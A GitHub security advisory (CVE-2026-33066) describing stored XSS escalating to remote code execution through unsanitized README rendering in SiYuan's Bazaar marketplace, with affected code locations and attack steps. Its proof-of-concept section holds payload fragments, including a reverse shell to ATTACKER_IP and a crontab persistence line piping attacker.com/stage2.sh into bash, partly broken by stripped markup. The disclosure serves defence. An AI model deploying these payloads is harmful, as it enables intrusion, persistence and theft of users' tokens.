GitHub Advisoryadvisory · Go

GHSA-4663-4mpg-879v SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering

MEDIUM Published 2026-03-18 Modified 2026-03-20 Official page ↗
Aliases
CVE-2026-33066
Ecosystem
Go
Packages
github.com/siyuan-note/siyuan/kernel
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Weaknesses
CWE-79
Reviewed
2026-03-18

Affected packages

• Go github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260314111550-b382f50e1880 → fixed in 0.0.0-20260314111550-b382f50e1880

Description

Stored XSS to RCE via Unsanitized Bazaar README Rendering Summary SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend `renderREADME` function uses `lute.New()` without calling `SetSanitize(true)`, allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to `innerHTML` without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution. Affected Component • README rendering (backend): `kernel/bazaar/package.go:635-645` (`renderREADME` function) • README rendering (frontend): `app/src/config/bazaar.ts:607` (`innerHTML` assignment) • Electron config: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`) Affected Versions • SiYuan { mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM }); ``` The backend returns unsanitized HTML, and the frontend blindly assigns it to `innerHTML` without any client-side sanitization (e.g., DOMPurify). Electron: `app/electron/main.js:422-426` ```javascript webPreferences: { nodeIntegration: true, contextIsolation: false, // ... } ``` Any JavaScript executing in the renderer has direct access to Node.js APIs. Proof of Concept Step 1: Create a malicious README Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The `README.md` contains embedded HTML: ```markdown Helpful Productivity Plugin This plugin helps you organize your notes with smart templates and AI-powered suggestions. Features • Smart template insertion • AI-powered note organization • Cross-platform sync Installation Install via the SiYuan Bazaar marketplace. License MIT ``` The raw `` tag with `onerror` handler is valid Markdown (HTML passthrough). The Lute engine preserves it because `SetSanitize(true)` is not called. The frontend renders it via `innerHTML`, and the broken image triggers `onerror`, executing `calc.exe`. Step 2: Submit to Bazaar Submit the repository to the SiYuan Bazaar via the standard community contribution process. Step 3: One-click RCE When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The `onerror` handler fires, executing arbitrary OS commands. Escalation: Reverse shell ```markdown Cool Theme for SiYuan Beautiful dark theme with custom fonts. & /dev/tcp/ATTACKER_IP/4444 0>&1\"')"> ``` Escalation: Multi-stage payload via README A more sophisticated attack can hide the payload deeper in the README to avoid casual review: ```markdown Professional Note Templates A comprehensive collection of note templates for professionals. Templates Included | Category | Count | Description | |----------|-------|-------------| | Business | 15 | Meeting notes, project plans | | Academic | 12 | Research notes, citations | | Personal | 8 | Journal, habit tracking | Screenshots /dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -'); } "> Changelog • v1.0.0: Initial release ``` This payload: 1. Uses `onload` instead of `onerror` (fires on successful image load from attacker's server) 2. Exfiltrates SiYuan API token, config, hostname, username, and platform info 3. Installs cross-platform persistence (Windows scheduled task / Linux crontab) 4. Is buried inside a legitimate-looking `` element that blends with real README content Escalation: SVG-based payload (bypasses naive img filtering) ```markdown Architecture /tmp/pwned')"> ``` Escalation: Details/summary element (interactive trigger) ```markdown FAQ /tmp/pwned')" open> How do I install this plugin? Use the SiYuan Bazaar to install. ``` The `open` attribute causes `ontoggle` to fire immediately without user interaction with the element itself. Attack Scenario 1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template. 2. The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a `` tag, `` block, or ``). 3. Attacker submits the package to the SiYuan Bazaar via the community contribution process. 4. A SiYuan user browses the Bazaar and clicks on the package to view its details/README. 5. The backend renders the README via `renderREADME()` without sanitization. 6. The frontend assigns the HTML to `innerHTML`. 7. The injected JavaScript executes with full Node.js access. 8. The attacker achieves RCE — reverse shell, data theft, persistence, etc. Impact • **Full remot…

Related

Alias · CVE (1)

  • CVE-2026-33066 SiYuan is a personal knowledge management system. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References